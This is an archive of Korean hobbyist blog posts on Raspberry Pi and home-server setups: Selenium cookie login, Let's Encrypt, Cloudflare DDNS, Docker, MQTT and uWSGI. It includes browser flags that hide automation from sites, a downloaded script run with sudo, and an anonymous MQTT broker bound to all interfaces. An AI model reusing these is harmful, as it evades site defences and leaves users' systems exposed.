28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager

import requests
import time
import pickle

def open_Driver():
 options = Options()

 options.add_argument('user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36')
 options.add_argument('lang=ko_KR')
 options.add_argument('--window-size=430,932')
 options.add_argument('--disable-gpu')
 options.add_argument('--disable-infobars')
 options.add_argument('--disable-extensions')
 options.add_argument('--disable-blink-features=AutomationControlled')
 options.add_argument('--disable-automation')

 service = Service(executable_path=ChromeDriverManager().install())
 driver = webdriver.Chrome(service=service, options=options)

 return driver

# 쿠키 저장 함수
def save_cookie(driver):
 url = 'https://m.naver.com/'
 driver.get(url)

 # 30초 이내 로그인
 time.sleep(30)
 pickle.dump(driver.get_cookies(), open('naver_cookies.pkl', 'wb')) 

 driver.quit()

# 셀레니움에서 쿠키 정상 동작 확인
def check_login_selenium(driver):
 url = 'https://m.naver.com'
 driver.get(url)

 cookies = pickle.load(open('naver_cookies.pkl', 'rb'))
 for cookie in cookies:
 driver.add_cookie(cookie)

 driver.get(url)
 time.sleep(30)
 driver.quit()

# request에서 쿠키 정상 동작 확인
def check_login_request():
 url = 'https://m.naver.com'

 header = {
 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
 }

 cookies = pickle.load(open('naver_cookies.pkl', 'rb'))

 s = requests.Session()
 s.headers.update(header)

 for cookie in cookies:
 c = {cookie['name'] : cookie['value']}
 s.cookies.update(c)

 response = s.request('GET', url)

 if response.text.find('MM_PROFILE_IMAGE') != -1:
 print('Login success!')

def main():
 # 1. 최초 한번만 실행, 이후 주석 처리
 driver = open_Driver()
 save_cookie(driver)

 # 2. 쿠키로 셀레니움 로그인 여부 확인
 #driver = open_Driver()
 #check_login_selenium(driver)

 # 3. 쿠키로 request로 로그인 여부 확인
 #check_login_request()

if __name__ == '__main__':
 main()

참고 링크 https://sir.kr/pg_tip/17077 https://m.blog.naver.com/draco6/221664143794

라즈베리파이에서 크롤링을 위한 셀레니움(Selenium) 설정

Mon, 04 Mar 2024 00:33:34 +0900

크롬드라이버 설치

1

pi@raspberrypi:~ $ sudo apt-get install chromium-chromedriver

가상환경 생성

1
2


pi@raspberrypi:~ $ python -m venv .venv
pi@raspberrypi:~ $ source .venv/bin/activate

셀레니움, BeautifulSoup4 설치

1
2
3


(.venv) pi@raspberrypi:~ $ pip install --upgrade pip
(.venv) pi@raspberrypi:~ $ pip install selenium
(.venv) pi@raspberrypi:~ $ pip install bs4

이제 아래 코드를 실행해서 'Google' 이라고 나오는지 확인한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager

url = 'https://www.google.com'

options = Options()
options.add_argument('--headless=new')
options.add_argument('user-agent=Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/117.0.0.0 Mobile Safari/537.36')
options.add_argument('lang=ko_KR')
options.add_argument('--incognito')
options.add_argument('--start-maximized')
options.add_argument('--window-size=430,932')
options.add_argument('--disable-gpu')
options.add_argument('--disable-infobars')
options.add_argument('--disable-extensions')
options.add_argument('--disable-blink-features=AutomationControlled')
options.add_argument('--disable-automation')
options.add_argument('--no-sandbox')

# 라즈베리파이 aarch64 환경에서는 아래 코드가 정상 동작하지 않음
#service = Service(executable_path=ChromeDriverManager().install())
service = Service('/usr/bin/chromedriver')
driver = webdriver.Chrome(service=service, options=options)
driver.get(url)

print(driver.title)

Let's Encrypt 인증서 카페24에 등록하기

Sat, 03 Feb 2024 23:52:09 +0900

그동안 클라우드플레어를 통해 'Flexible SSL'을 쓰고 있었는데 이번 기회에 Let's Encrypt 인증서 설치를 시도해 해보았습니다.
카페24에서 외부인증서를 등록해주는 기능이 있어 가능할 것으로 보였습니다.

먼저 윈도우용 Let's Encrypt 프로그램 'win-acme'을 다운로드 합니다.
https://www.win-acme.com/

그리고 프로그램 실행후 아래와 같이 순차적으로 진행합니다.

인증서 생성

1
2
3
4
5
6
7
8


N: Create certificate (default settings)
M: Create certificate (full options)
R: Run renewals (0 currently due)
A: Manage renewals (1 total)
O: More options...
Q: Quit

Please choose from the menu: m

수동 입력

1
2
3
4
5
6


1: Read bindings from IIS
2: Manual input
3: CSR created by another program
C: Abort

How shall we determine the domain(s) to include in the certificate?: 2

도메인 입력

1

Host: jjoon.net,www.jjoon.net

도메인에 대한 별칭 설정

1
2
3


Friendly name '[Manual] jjoon.net'. <Enter> to accept or type desired name:

* 그냥 빈칸으로 엔터

도메인별 인증서 분리여부 선택 : 단일 인증서 선택

1
2
3
4
5
6
7


1: Separate certificate for each domain (e.g. *.example.com)
2: Separate certificate for each host (e.g. sub.example.com)
3: Separate certificate for each IIS site
4: Single certificate
C: Abort

Would you like to split this source into multiple certificates?: 4 

인증방식 선택 : FTP로 선택

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


1: [http] Save verification files on (network) path
2: [http] Serve verification files from memory
3: [http] Upload verification files via FTP(S)
4: [http] Upload verification files via SSH-FTP
5: [http] Upload verification files via WebDav
6: [dns] Create verification records manually (auto-renew not possible)
7: [dns] Create verification records with acme-dns (https://github.com/joohoi/acme-dns)
8: [dns] Create verification records with your own script
9: [tls-alpn] Answer TLS verification request from win-acme
C: Abort

How would you like prove ownership for the domain(s)?: 3

FTP 경로 입력

1
2
3
4


Description: Example, ftp://domain.com:21/site/wwwroot/
 Example, ftps://domain.com:990/site/wwwroot/

 FTP path: ftp://아이디.cafe24.com:21/www/

유효성 검사 파일 복사 여부

1
2
3
4
5


Description: Copy default web.config to the .well-known directory.
Default: False
Argument: False (press <Enter> to use this)

 Copy default web.config before validation? (y/n*) - no

FTP 아이디 및 패스워드 입력

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


Description: Username for remote server

 FTP(S) server username: 아이디

Description: Password for remote server

 1: None
 2: Type/paste in console
 3: Search in vault

 Choose from the menu: 2

 FTP(S) serverpassword: 패스워드

 Save to vault for future reuse? (y/n*) - no

인증서 속성 선택 : 카페24는 RSA만 사용 가능

1
2
3
4
5


1: Elliptic Curve key
2: RSA key
C: Abort

What kind of private key should be used for the certificate?: 2

웹서비스 종류 선택 : 카페24는 Apache임

1
2
3
4
5
6
7


1: IIS Central Certificate Store (.pfx per host)
2: PEM encoded files (Apache, nginx, etc.)
3: PFX archive
4: Windows Certificate Store (Local Computer)
5: No (additional) store steps

How would you like to store the certificate?: 2

인증서 저장위치 지정 및 암호 설정

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


Description: .pem files are exported to this folder.

File path: .

Description: Password to set for the private key .pem file.

1: None
2: Type/paste in console
3: Search in vault

Choose from the menu: 2

PemPassword: 패스워드

Save to vault for future reuse? (y/n*) - no

1: IIS Central Certificate Store (.pfx per host)
2: PEM encoded files (Apache, nginx, etc.)
3: PFX archive
4: Windows Certificate Store (Local Computer)
5: No (additional) store steps

Would you like to store it in another way too?: 5

Installation plugin IIS not available: Run as administrator to allow access to IIS.

With the certificate saved to the store(s) of your choice, you may choose one
or more steps to update your applications, e.g. to configure the new
thumbprint, or to update bindings.

1: Create or update bindings in IIS
2: Start external script or program
3: No (additional) installation steps

Which installation step should run first?: 3

이제 카페24 '외부인증서 관리' 메뉴로 가서 각 항목을 입력하시면 됩니다.
win-acme 폴더에 가면 인증서 파일이 생성되어 있을것이고 해당 인증서를 메모장으로 열어서 입력하면 됩니다.

1
2
3


인증서(SSL CRT) : 도메인명-crt.pem 파일 내용
개인키(Private Key) : 도메인명-key.pem 파일 내용
비밀번호(Passphrase) : 위 지정한 인증서 암호

이후 조금만 기다리면 '외부 SSL 인증서 정보' 항목에 '연결 PORT(숫자)'로 표시되면 연결이 완료된 것입니다.

Amazon Lightsail로 이전

Sun, 16 Jul 2023 02:04:59 +0900

블로그를 Cafe24 웹호스팅에서 Amazon lightsail로 이전했습니다. 이전하며 아래 부분이 놀라웠고 공부하는셈 치고 좀 더 써봐야겠습니다.

클릭 몇번으로 워드프레스 설치가 그냥 되는구나?

月 $3.5면 커피 한잔 값인데? (月 $5 짜리로 해야 워드프레스가 무리 없이 돌아가더라...)

간단한 명령어로 SSL 설정(Let's Encrypt), 게다가 주기적으로 인증서 갱신까지 자동으로?

DDclient를 통해 Cloudflare에 DDNS 설정하기

Fri, 03 Feb 2023 00:13:24 +0900

개요

집에서 사용하는 라즈베리파이의 특정 포트를 외부 도메인과 연결을 하여 SSL로 서비스 할 필요가 있었다. 이에 SSL 서비스를 위해 클라우드플레어랑 연동을 했고 우리집 IP는 유동적으로 변하기에 DDNS도 설정할 필요가 있어 그 과정을 작성해본다.

DDclient 설치

DDclient는 아래 URL에서 다운로드 받을 수 있다. https://github.com/ddclient/ddclient

하지만 나는 아래와 같이 패키지 설치로 설치하였다.

1

$ apt-get install ddclinet

DDclient 설정

설정 파일은 /etc/ddclient.conf에 위치해 있고 파일 내용은 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# Configuration file for ddclient generated by debconf
#
# /etc/ddclient.conf
ssl=yes
daemon=300
use=web
protocol=cloudflare
login=your-login-email # Only needed if you are using your global API key. If you are using an API token, set it to "token" (without double quotes).
password=APIKey # This is either your global API key, or an API token. If you are using an API token, it must have the permissions "Zone - DNS - Edit" and "Zone - Zone - Read". The Zone resources must be "Include - All zones".
zone=도메인주소(예시:jjoon.net)
연결할 서브도메인 주소(예시:test.jjoon.net)

공유기 포트포워딩 설정

라즈베리파이의 특정 포트를 80번 포트로 포트포워딩을 하도록 설정한다.

정상동작 확인

DDclient는 아래와 같이 서비스로 돌아가는 것을 확인할 수 있으며 300초마다 IP를 갱신할것이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


pi@raspberrypi:/etc $ sudo systemctl status ddclient.service 
● ddclient.service - Update dynamic domain name service entries
 Loaded: loaded (/lib/systemd/system/ddclient.service; enabled; vendor preset: enabled)
 Active: active (running) since Fri 2023-02-03 00:14:28 KST; 20min ago
 Docs: man:ddclient(8)
 Process: 28053 ExecStart=/usr/sbin/ddclient -daemon $daemon_interval -syslog -pid /run/ddclient.pid (code=exited, status=0/SUCCESS)
 Main PID: 28054 (ddclient - slee)
 Tasks: 1 (limit: 779)
 CPU: 1.251s
 CGroup: /system.slice/ddclient.service
 └─28054 ddclient - sleeping for 280 seconds

Feb 03 00:14:27 raspberrypi systemd[1]: Starting Update dynamic domain name service entries...
Feb 03 00:14:28 raspberrypi systemd[1]: Started Update dynamic domain name service entries.
Feb 03 00:29:34 raspberrypi ddclient[28422]: SUCCESS: ****.jjoon.net -- Updated Successfully to ***.***.***.***
pi@raspberrypi:/etc $ 

클라우드플레어 DNS 메뉴에서 서브 도메인이 현재 IP를 제대로 반영되고 있는지 확인하면 끝.

ST-Connector(Edge용 LG-Connector) 설치하기

Sat, 28 Jan 2023 19:59:03 +0900

개요

LG 가전 기기를 Smartthings에서 컨트롤 하고자 라즈베리파이에 ST-Connector를 설치하여 보았습니다.

라즈베리파이에 Docker 설치

이제 SSH를 통해 원격으로 접근이 가능하다면 Docker를 설치해봅시다. 아래 명령어를 통해 Docker 설치 스크립트를 받습니다.

1
2


wget get.docker.com -O get-docker.sh
sudo bash get-docker.sh

도커가 잘 실행되고 있는지 확인해 봅시다.

1
2
3


$ ps -aux | grep docker
root 1565 31.4 8.7 1007824 83356 ? Ssl 02:58 4:25 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
pi 3854 0.0 0.0 7348 424 pts/0 S+ 03:12 0:00 grep --color=auto docker

ST-Connector 설치

ST-Connector 도커 이미지를 다운로드 받아 실행을 합니다. 다운로드 받기 전에 아래 주소에서 최신 버전 값을 확인합시다. 제가 글을 작성하는 시점에서의 최신 버전은 0.0.2 였습니다.

https://hub.docker.com/r/fison67/st-connector/tags

1
2
3
4
5


$ sudo mkdir /docker
$ sudo mkdir /docker/st-connector
$ sudo chown -R pi:pi /docker
$ sudo docker pull fison67/st-connector:0.0.2
$ sudo docker run -d --restart=always -v /docker/st-connector:/config --name=st-connector --net=host -e TZ=Asia/Seoul fison67/st-connector:0.0.2

이제 도커가 잘 실행되고 있는지 확인해 봅시다.

1
2
3


pi@raspberrypi:~ $ sudo docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5afa36501bbe fison67/st-connector:0.0.2 "/bin/sh -c 'npm sta…" 16 seconds ago Up 11 seconds st-connector

Edge 드라이버 설치

https://bestow-regional.api.smartthings.com/invite/oDM8QZw30x2L

ST-Connector 설정

설치가 완료되었으면 http://라즈베리파이주소:4000 으로 접속해봅시다. 초기 ID / PW는 admin / 12345 입니다.

웹 접속 후 메뉴 Setting -> 실행될 Connector 항목 체크 후 OK 버튼 클릭 후 도커 재시작 합니다.

1
2
3
4
5
6
7
8


pi@raspberrypi:~ $ sudo docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5afa36501bbe fison67/st-connector:0.0.2 "/bin/sh -c 'npm sta…" 16 seconds ago Up 11 seconds st-connector
54cde4f0414b jsurf/rpi-mariadb "docker-entrypoint.s…" 6 days ago Up 3 hours 0.0.0.0:33006->3306/tcp, :::33006->3306/tcp mariadb
2f8fb108763a fison67/mi-connector:latest "/bin/sh -c 'npm sta…" 6 days ago Up 3 hours mi-connector
pi@raspberrypi:~ $ sudo docker restart 5afa36501bbe
5afa36501bbe
pi@raspberrypi:~ $ 

이후 다시 재접속하여 Connector -> LG 메뉴에서 V1, V2 토큰을 등록합니다.

이제 스마트싱스 앱에서 찾기를 누르고 허브 선택하여 장치 자동 등록을 합니다.

Smartthings 공휴일 Edge 스위치 만들기

Wed, 28 Sep 2022 01:36:11 +0900

개요

Smartthings는 2022년 10월 16일 16시(KST)부터 Groovy로 작성된 DTH와 스마트앱 지원이 종료된다고 공지되었다. 이에 현재 사용중인 다수 기기들과 스마트앱을 Edge Driver로 전환할 필요가 생겼다. 그 중 구글캘린더와 연동해서 부엉이님이 만드신 스마트앱을 대체해보았다.

My Day-off : https://blog.weekendproject.net/243

준비물

라즈베리파이, NAS 등 개인 서버

MQTT Broker 설치

먼저 MQTT Broker와 파이썬용 MQTT 모듈을 설치한다.

1
2


$ sudo apt install mosquitto mosquitto-clients python3 python3-pip
$ pip3 install paho-mqtt

그리고 정상적으로 동작하는지 확인한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


pi@raspberrypi:~ $ sudo systemctl enable mosquitto
Synchronizing state of mosquitto.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable mosquitto
pi@raspberrypi:~ $ sudo systemctl status mosquitto
● mosquitto.service - Mosquitto MQTT Broker
 Loaded: loaded (/lib/systemd/system/mosquitto.service; enabled; vendor preset: enabled)
 Active: active (running) since Wed 2023-01-25 10:19:30 GMT; 23s ago
 Docs: man:mosquitto.conf(5)
 man:mosquitto(8)
 Main PID: 1688 (mosquitto)
 Tasks: 1 (limit: 779)
 CPU: 78ms
 CGroup: /system.slice/mosquitto.service
 └─1688 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf

Jan 25 10:19:30 raspberrypi systemd[1]: Starting Mosquitto MQTT Broker...
Jan 25 10:19:30 raspberrypi systemd[1]: Started Mosquitto MQTT Broker.
pi@raspberrypi:~ $ 

그리고 Mosquitto 설정 파일(/etc/mosquitto/mosquitto.conf)에 아래 내용을 추가한다.

1
2


allow_anonymous true
bind_address 0.0.0.0

MQTTDevices

MQTTDevices : https://github.com/toddaustin07/MQTTDevices Smartthings Edge Driver : https://bestow-regional.api.smartthings.com/invite/Q1jP7BqnNNlL

MQTTDevices Edge 드라이버로 MQTT 가상 스위치를 생성할 수 있으며 공휴일 여부를 체크해 스위치를 On/Off 하는 코드를 작성할 계획이다.

해당 Edge 드라이버 설치후 설정에서 위에서 설치한 MQTT Broker IP를 입력하자. 그리고 토픽은 "dayoff"로 명명할 계획이다.

공공데이터포털

공공데이터포털 : https://www.data.go.kr/index.do

위 Edge 드라이버로 장치를 생성했다면 공휴일 여부를 알려줄 코드를 작성할 차례다. 나는 '공공데이터포털'을 활용해 매년 달라지는 대체공휴일이나 선거일들을 등을 받아오도록 하였다. 먼저 공공데이터포털에 가입하고 아래 링크에서 '활용신청' 버튼을 눌러 인증키를 받자.

한국천문연구원_특일 정보(xml) : https://www.data.go.kr/data/15012690/openapi.do

서버 스크립트 작성

이제 서버 스크립트를 작성할 차례다. python으로 작성했고 다음과 같은 과정으로 휴일 여부를 체크했다.

1

오늘 날짜 확인 -> 토,일요일 체크 -> 공공데이터포털에서 해당 월 공휴일 날짜 추출 -> 공휴일 여부 체크

필요한 python 모듈들은 다음과 같다.

1
2
3


pip install requests
pip install BeautifulSoup4
pip install lxml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


import requests
import datetime
from bs4 import BeautifulSoup
import urllib.parse as urlparse
import sys
import paho.mqtt.client as mqtt

def mqtt_pub(msg): 
 broker_address = 'localhost'
 broker_port = 1883
 client = mqtt.Client('Hello')
 print("[+] Connect to broker")
 client.connect(host=broker_address, port=broker_port)
 client.publish('dayoff', msg)

today = datetime.datetime.now().date()
year = today.strftime('%Y')
month = today.strftime('%m')
day = today.strftime('%d')
week = today.strftime('%w')
compare_today = today.strftime('%Y%m%d')

# 토, 일요일 여부 확인
if week == '0' or week == '6':
 mqtt_pub('on')
 sys.exit()

# 일반 인증키(Encoding)
serviceKey = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

# 공휴일 정보 조회
url = 'http://apis.data.go.kr/B090041/openapi/service/SpcdeInfoService'
operation = 'getRestDeInfo'
params = {
 'solYear':year,
 'solMonth':month
}
params = urlparse.urlencode(params)
req = url + '/' + operation + '?' + params + '&' + 'serviceKey' + '=' + serviceKey
get_data = requests.get(req)

if True == get_data.ok:
 soup = BeautifulSoup(get_data.content, 'xml')
 item = soup.findAll('item')
 #print(item)
 for x in item:
 #print(x.dateName.string, x.isHoliday.string, x.locdate.string)
 # 공휴일 여부 확인
 if compare_today == x.locdate.string:
 mqtt_pub('on')
 sys.exit()

mqtt_pub('off')

python 스크립트 스케쥴러 등록

마지막으로 작성한 스크립트가 주기적으로 동작하면서 스위치에 공휴일 여부 상태값을 반영시켜줘야 한다. 나는 라즈베리파이에서 구동중으로 crontab에 아래와 같이 등록해 1시간 단위로 업데이트 하도록 하였다. 참고로 crontab은 root 권한이 아닌 user 권한으로 등록해야 라이브러리를 불러오는데 문제가 없다.

1

1 * * * * /usr/bin/python3 /home/pi/dayoff/dayoff.py

RS485 패킷 분석 관련 참고자료

Sat, 13 Mar 2021 21:14:50 +0900

RS485 패킷을 확인하다 보니 국내 표준이 있어 글을 남긴다.

o 산업통상자원부 국가기술표준원(원장 제대식)은 홈네트워크 기기 교체시 발생하는 소비자의 불편 해소 및 소비자선택권 보장을 위해 국가표준(이하 KS)을 제정하였다고 밝혔다. o 그간 홈네트워크 중심기기와 주변기기의 통신규약(프로토콜)이 기기제조사별로 상이해 제조사간 기기호환이 곤란하고, 기기 고장시 소비자들은 교체기기를 구하기 힘든 애로를 겪어왔다. o 이번에 제정된 KS표준은 홈네트워크 제조 기업 간의 합의를 통해 홈네트워크 기기제어 통신프로토콜을 일치시킨 것이다.

라즈베리파이로 RS485 통신 하기 (suroup 활용)

Mon, 01 Mar 2021 21:46:05 +0900

개요

아파트의 각종 장비들을 제어하기 위해 기존에는 스마트폰 앱을 분석해 사용했으나 아파트 서버 장애시 제어가 안되는 등의 문제가 발생했습니다.

그래서 홈 네트워크에 직접 장비를 연결해 RS485 패킷을 Wi-Fi로 연결해 제어코자 합니다.

준비물

라즈베리파이, Elfin EW11A

EW11 전원 연결

알리에서 주문한 EW11의 연결 커넥터를 보면 총 4개의 선이 연결되고 가운데가 전원입니다. +, - 극성에 잘 맞춰서 연결하면 되며 나의 경우 휴대폰 충전기로 연결했습니다.

EW11 설정

전원이 연결되면 Wi-Fi로 EW11 장치가 나타납니다. 연결후 http://10.10.100.254 로 접속, admin / admin 으로 접속합니다. 이후 펌웨어를 업데이트 한다. 펌웨어는 아래 사이트에서 확인할 수 있습니다. http://www.hi-flying.com/firmware-1

이후 네트워크 셋팅을 아래와 같이 설정합니다.

그리고 'Baud Rate'를 9600으로 변경합니다.

RS485 라인 연결

이제 RS485 라인과 연결합니다. 저희집의 경우 난방조절기에 연결하는 것이 전원 콘센트도 가깝고 여러모로 편했습니다.

일반 UTP 케이블중 연선이 아닌 단선으로 연결하는 것이 좋습니다. 연결후 SerialPortMon 프로그램으로 RS485 패킷이 잘 들어오는지 확인해 봅니다. SerialPortMon 다운로드 : https://blog.daum.net/pg365/276

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# 1) 다운로드는 Github 개인 저장소에 존재
$ unzip 0.2.0.zip
$ cd suroup-0.2.0

# 2) 심볼릭 링크 먼저 (node/npm/pm2 3개)
$ sudo npm install -g pm2
$ sudo ln -sf /opt/nodejs/bin/node /usr/bin/node
$ sudo ln -sf /opt/nodejs/bin/npm /usr/bin/npm
$ sudo ln -sf /opt/nodejs/lib/node_modules/pm2/bin/pm2 /usr/bin/pm2

# 3) 의존성 — lock 그대로
$ npm ci

.env 파일은 아래와 같이 작성한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


port=30110
oauth_id=suroup 
oauth_secret=12345
oauth_session_secret=12345
oauth_redirect_url=
account_email=test@test.com
account_pass=12345
client_id=스마트싱스 워크스페이스의 Client ID
client_secret=스마트싱스 워크스페이스의 Client Secret
type=ezville
ew11_host=192.168.0.11
ew11_port=8899
esv_host=
esv_port=
deviceLight=
deviceOutlet=
deviceThermostat=
deviceGasValve=
deviceBreaker=
deviceESV=

이후 자동 재시작을 위해 아래와 같이 등록하자.

1
2
3
4
5
6
7
8


# 4) 기동 → 정상 확인 후 저장
$ pm2 start pm2.json
$ pm2 logs --lines 30 --nostream # ← 여기서 3개 다 online 인지 먼저 확인
$ pm2 startup # 출력된 sudo 명령을 복사해서 실행
$ pm2 save

# 5) 부팅 생존 확인 (가장 중요)
$ sudo reboot

python 쓰레드를 uWSGI로 서비스시 문제점

Sat, 11 Apr 2020 01:54:40 +0900

최근 python thread로 타이머를 구현, 이를 uWSGI로 서비스 하는 과정에서 thread가 동작하지 않아 관련 내용을 정리함.

예제코드는 아래와 같음.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


import time
import threading
from flask import Flask

i = 0

def thread_run():
 global i
 while True:
 i += 1
 time.sleep(3)

app = Flask(__name__)
th = threading.Thread(target=thread_run)
th.start()

@app.route('/')
def index():
 return str(i)

if __name__ == '__main__':
 app.run(host='0.0.0.0', port=8888)

위 코드를 아래의 명령어로 uWSGI로 실행

1
2
3


sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app --master --enable-threads

sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app --master

위 명령어들로 각 각 80번 포트로 접근하면 모두 쓰레드가 동작하지 않음을 확인. 다시 아래 코드로 실행.

1

sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app

잘 동작함! 이유는 --master 옵션에 있는 것으로 확인. 관련 내용은 아래 링크에 잘 정리되어 있음. https://stackoverflow.com/questions/32059634/python3-threading-with-uwsgi

그럼 쓰레드를 동작시킬 방법은? 코드를 아래와 같이 수정.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


import time
import uwsgidecorators
from flask import Flask

i = 0

@uwsgidecorators.postfork
@uwsgidecorators.thread
def thread_run():
 global i
 while True:
 i += 1
 time.sleep(3)

app = Flask(__name__)

@app.route('/')
def index():
 return str(i)

if __name__ == '__main__':
 app.run(host='0.0.0.0', port=8888)

그리고 아래 명령어로 실행.

1

sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app --master --enable-threads

uWSGI가 master 모드로 동작하며 쓰레드도 잘 동작함을 확인할 수 있음.
uWSGI decorators에 괜찮은 기능이 많다. 상세내용은 아래 링크를 참조.

https://uwsgi-docs.readthedocs.io/en/latest/PythonDecorators.html#module-uwsgidecorators https://pythonise.com/series/learning-flask/exploring-uwsgi-decorators

Flask 서비스를 위한 uWSGI + Nginx 설정

Fri, 10 Apr 2020 23:52:17 +0900

필요 패키지 설치

1
2
3


$ sudo apt-get install python3 python3-pip nginx
$ sudo pip3 install virtualenv
$ sudo pip3 install uwsgi

Virtualenv 설정

1
2
3
4


$ virtualenv .server
$ source .server/bin/activate
(.server) $ pip3 install flask
(.server) $ pip3 install uwsgi

uwsgi를 또 설치한 이유는 코드에서 uWSGI decorators를 사용하기 위함임

Flask 코드 작성

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# server.py
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello():
 return 'world'

if __name__ == '__main__':
 app.run(host='0.0.0.0')

uWSGI 동작 확인

1

(.server) $ uwsgi --socket 0.0.0.0:5000 --protocol=http -w server --callable app --venv .server --master

5000번 포트 접속시 world 메세지가 잘 나오는지 확인. 잘 나온다면 virtualenv를 나오자

1

(.server) $ deactivate

uWSGI 설정 파일 작성

server.ini 파일을 아래와 같이 작성하자

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


[uwsgi]
strict = true

chdir = /home/pi/wallpad
venv = /home/pi/wallpad/.server
module = server
callable = app

master = true
processes = 1
threads = 3

socket = /tmp/server.sock
chmod-socket = 664
vacuum = true

die-on-term = true

log-4xx = true
log-5xx = true
disable-logging = true

strict : This option tells uWSGI to only allow valid uWSGI options in the config file chdir : the base directory (full path) venv : python virtualenv path module : python filename master : Respawns processes when they die and handles much of the built-in prefork+threading multi-worker management, generally always advised processes : Adds concurrency to the app by adding n additional processes threads : Adds additional cuncurrency by adding n additional threads socket : sock file path chmod-socket : permissions of the socket file vacuum : Removes the socket when the process stops die-on-term : If running the uWSGI service with the init system (systemd, upstart), confirms both uWSGI and the init system have the same idea about what each process signal means log-4xx : log requests with a 4xx response log-5xx : log requests with a 5xx response disable-logging : disable request logging

작성이 끝나면 아래 코드 실행후 /tmp/server.sock 파일이 생성되면 OK

1

$ uwsgi --ini server.ini

Nginx 설정

우선 default 파일을 삭제

1

$ sudo rm /etc/nginx/sites-enabled/default

그리고 /etc/nginx/sites-available 경로에 아래 파일 작성

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


server {
 listen 5000;
 server_name localhost;

 location / { try_files $uri @app; }

 location @app {
 include uwsgi_params;
 uwsgi_pass unix:/tmp/server.sock;
 uwsgi_ignore_client_abort on;
 }
}

작성이 끝나면 /etc/nginx/sites-enabled 경로에 작성한 파일을 심볼릭링크로 걸어줌.

1

$ sudo ln -s /etc/nginx/sites-available/server /etc/nginx/sites-enabled

nginx 설정파일 문법 확인후 재시작

1
2
3
4


$ sudo nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
$ sudo service nginx restart

Emperor 모드와 master 옵션간 문제

/home/pi/wallpad/uwsgi-emperor.log 파일을 보다보니 시작지점이 아래와 같은 WARNING 로그를 확인.

1

*** WARNING: you are running uWSGI without its master process manager ***

분명 나는 /etc/uwsgi/apps-available/server.ini 파일에 \'master = true\'라고 명시해줬다. 그런데 master process manager가 동작하지 않는다고?! 관련 내용을 찾아보니 아래와 같은 내용이 있었다.

The emperor should generally not be run with --master, unless master features like advanced logging are specifically needed. https://uwsgi-docs.readthedocs.io/en/latest/Emperor.html#notes

그리고 stackoverflow에도 질문 및 답변이 있었다. https://stackoverflow.com/questions/15055002/uwsgi-master-with-emperor-spawns-two-emperors

그리하여 emperor는 쓰지 않고 /etc/rc.local 파일을 아래와 같이 수정

1

$ /usr/local/bin/uwsgi --ini /home/pi/wallpad/server.ini

그리고 server.ini 파일에도 아래 3줄을 추가

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


[uwsgi]
strict = true

chdir = /home/pi/wallpad
venv = /home/pi/wallpad/.server
module = server
callable = app

master = true
processes = 1
threads = 3

socket = /tmp/server.sock
chmod-socket = 664
vacuum = true

die-on-term = true

log-4xx = true
log-5xx = true
disable-logging = true

uid = www-data
gid = www-data

daemonize = /home/pi/wallpad/server.log

Smartthings 뉴앱에서 타일 구성하기

Tue, 17 Mar 2020 17:59:11 +0900

